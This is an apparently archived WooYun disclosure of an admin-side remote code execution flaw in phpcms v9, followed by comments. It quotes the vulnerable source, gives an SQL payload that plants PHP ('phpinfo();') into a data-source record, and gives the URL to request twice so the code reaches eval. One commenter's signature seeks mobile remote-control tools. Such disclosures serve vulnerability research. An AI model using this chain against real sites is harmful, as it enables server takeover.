当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(56) 关注此漏洞

缺陷编号: WooYun-2013-46565

漏洞标题: phpcms v9 后台远程代码执行漏洞(第三弹)

相关厂商: phpcms

漏洞作者: 狗狗侠认证白帽子

提交时间: 2013-12-20 17:47

公开时间: 2014-03-20 17:47

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-20: 细节已通知厂商并且等待厂商处理中
2013-12-20: 厂商已经确认,细节仅向厂商公开
2013-12-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-02-13: 细节向核心白帽子及相关领域专家公开
2014-02-23: 细节向普通白帽子公开
2014-03-05: 细节向实习白帽子公开
2014-03-20: 细节向公众公开

简要描述:

null

详细说明:

phpcms 官方给分要给力啊,我才能给你爆更多0day啊

漏洞证明:

壮大我大乌云,乌云也要给力给力啊

前台了来了几期,干脆来个后台代码执行。

记住。。。这是后台2次SQL执行漏洞。。。看分析。。。

phpcms 官方给力点,到时候俺给你还来几发....

在phpcms\modules\dbsource\data.php中add 方法

方法很猥琐。。。。

code 区域
public function add() {
pc_base::load_app_func('global');
if (isset($_POST['dosubmit'])) {
$name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('name').L('empty'));
$dis_type = isset($_POST['dis_type']) && intval($_POST['dis_type']) ? intval($_POST['dis_type']) : 1;
$cache = isset($_POST['cache']) && intval($_POST['cache']) ? intval($_POST['cache']) : 0;
$num = isset($_POST['num']) && intval($_POST['num']) ? intval($_POST['num']) : 0;
$type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 0;
//检查名称是否已经存在
if ($this->db->get_one(array('name'=>$name))) {
showmessage(L('name').L('exists'));
}
$sql = array();
if ($type == '1') { //自定义SQL
$data = isset($_POST['data']) && trim($_POST['data']) ? trim($_POST['data']) : showmessage(L('custom_sql').L('empty'));// 这里漏洞点,这里通过获取form表单中的data数据,这里为我们构造好的sql语句
$sql = array('data'=>$data);
} else { //模型配置方式
$module = isset($_POST['module']) && trim($_POST['module']) ? trim($_POST['module']) : showmessage(L('please_select_model'));
$action = isset($_POST['action']) && trim($_POST['action']) ? trim($_POST['action']) : showmessage(L('please_select_action'));
$html = pc_tag_class($module);
$data = array();
if (isset($html[$action]) && is_array($html[$action])) {
foreach ($html[$action] as $key=>$val) {
$val['validator']['reg_msg'] = $val['validator']['reg_msg'] ? $val['validator']['reg_msg'] : $val['name'].L('inputerror');
$$key = isset($_POST[$key]) && trim($_POST[$key]) ? trim($_POST[$key]) : '';
if (!empty($val['validator'])) {
if (isset($val['validator']['min']) && strlen($$key) < $val['validator']['min']) {
showmessage($val['name'].L('should').L('is_greater_than').$val['validator']['min'].L('lambda'));
}
if (isset($val['validator']['max']) && strlen($$key) > $val['validator']['max']) {
showmessage($val['name'].L('should').L('less_than').$val['validator']['max'].L('lambda'));
}
if (!preg_match('/'.$val['validator']['reg'].'/'.$val['validator']['reg_param'], $$key)) {
showmessage($val['name'].$val['validator']['reg_msg']);
}
}
$data[$key] = $$key;
}
}
$sql = array('data'=>array2string($data), 'module'=>$module, 'action'=>$action);
}

if ($dis_type == 3) {
$sql['template'] = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
}
//初始化数据
$sql['name'] = $name;
$sql['type'] = $type;
$sql['dis_type'] = $dis_type;
$sql['cache'] = $cache;
$sql['num'] = $num;
if ($id = $this->db->insert($sql,true)) { //关键地方,这里写入我们的SQL语句,这里的SQL语句可以由我们上面的$data获得



这里成功写入我们的sql语句如下

我们构造好如下data 为

update v9_datacall set module='announce',action='pc_tag',data='phpinfo();',type='2' where name=123;



我们再次看看phpcms\modules\dbsource\call.php

code 区域
public function get() {
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : exit();
if ($data = $this->db->get_one(array('id'=>$id))) {
if (!$str = tpl_cache('dbsource_'.$id,$data['cache'])) {
if ($data['type'] == 1) { //自定义SQL调用
$get_db = pc_base::load_model("get_model");
$sql = $data['data'].(!empty($data['num']) ? " LIMIT $data[num]" : '');
//echo $sql;
$r= $get_db->query($sql);
while(($s = $get_db->fetch_next()) != false) {
$str[] = $s;
}
} else {
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php';
//echo $filepath;
if (file_exists($filepath)) {

$pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']);
//var_dump($pc_tag);
if (!method_exists($pc_tag, $data['action'])) {
exit();
}

$sql = string2array($data['data']);//这里真正触发漏洞,产生远程代码执行,这里必须通过2次访问链接,导致远程代码执行
$sql['action'] = $data['action'];
$sql['limit'] = $data['num'];





我们贴出该函数

code 区域
function string2array($data) {
if($data == '') return array();
@eval("\$array = $data;");//代码执行鸟了。。。。
return $array;
}





说下具体过程

当我们在数据源那里添加数据源调用

其中名称为123

54O0L}8H[9P4]}Y]05Z]OFH.jpg



然后我们访问调用链接如下

**.**.**.**/v9/index.php?m=dbsource&c=call&a=get&id=19

我们必须访问2次,因为第一次执行的时候,执行的是更改type为2 ,

update v9_datacall set module='announce',action='pc_tag',data='phpinfo();',type='2' where name=123;

详情就看看上面的call.php中的分析了

当我们访问2次的时候,我们的代码就到

code 区域
} else {
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php';
//echo $filepath;
if (file_exists($filepath)) {

$pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']);
//var_dump($pc_tag);
if (!method_exists($pc_tag, $data['action'])) {
exit();
}

$sql = string2array($data['data']);



到这里执行了

YFA}C]BYW_)C}H4U}~{CDFE.jpg



修复方案:

YFA}C]BYW_)C}H4U}~{CDFE.jpg



版权声明:转载请注明来源 狗狗侠@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-20 18:47

厂商回复:

收到!!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-12-20 17:48 | YY-2012 ( 核心白帽子 | Rank:3726 漏洞数:722 | 意淫,是《红楼梦》原创的词汇,但后来演变...)
    0

    前排广告,收购wb。价格1:6

  2. 2013-12-20 17:50 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    后台...

  3. 2013-12-20 18:35 | 菜菜 ( 实习白帽子 | Rank:83 漏洞数:7 | cnidc.hk:500:D5B9985DFBA5FE8A050A39C249C...)
    1

    前排广告,出售wb。价格1:6

  4. 2013-12-20 18:48 | YY-2012 ( 核心白帽子 | Rank:3726 漏洞数:722 | 意淫,是《红楼梦》原创的词汇,但后来演变...)
    0

    @菜菜 请联系我

  5. 2013-12-21 12:07 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )
    0

    。。。wb 1:6是多少@YY-2012

  6. 2013-12-21 12:20 | YY-2012 ( 核心白帽子 | Rank:3726 漏洞数:722 | 意淫,是《红楼梦》原创的词汇,但后来演变...)
    0

    @大白菜 1wb等于6块

  7. 2013-12-21 14:35 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )
    0

    @YY-2012 我出售啊~

  8. 2013-12-22 10:15 | flywin ( 路人 | Rank:9 漏洞数:1 | 有好的安卓或者IOS远程控制的请联系我,RMB...)
    0

    Wb贩子好多

  9. 2013-12-22 13:09 | J′aron ( 路人 | Rank:17 漏洞数:5 | 问题真实存在但是影响不大.)
    1

    mark

  10. 2014-01-10 16:50 | feng 认证白帽子 ( 普通白帽子 | Rank:760 漏洞数:90 | 想刷个6D)
    1

    狗哥太猥琐,跟不上节奏

  11. 2014-01-23 12:21 | cmd2k ( 路人 | Rank:4 漏洞数:1 | 学习,努力,加油)
    0

    前排收购wb..

  12. 2014-03-20 20:00 | chopper ( 普通白帽子 | Rank:156 漏洞数:31 | 菜鸟求学,多多关照~)
    1

    请问wb怎么转??

  13. 2014-03-21 12:34 | evil ( 实习白帽子 | Rank:66 漏洞数:27 )
    1

    @YY-2012 怎么转?

登录后才能发表评论,请先 登录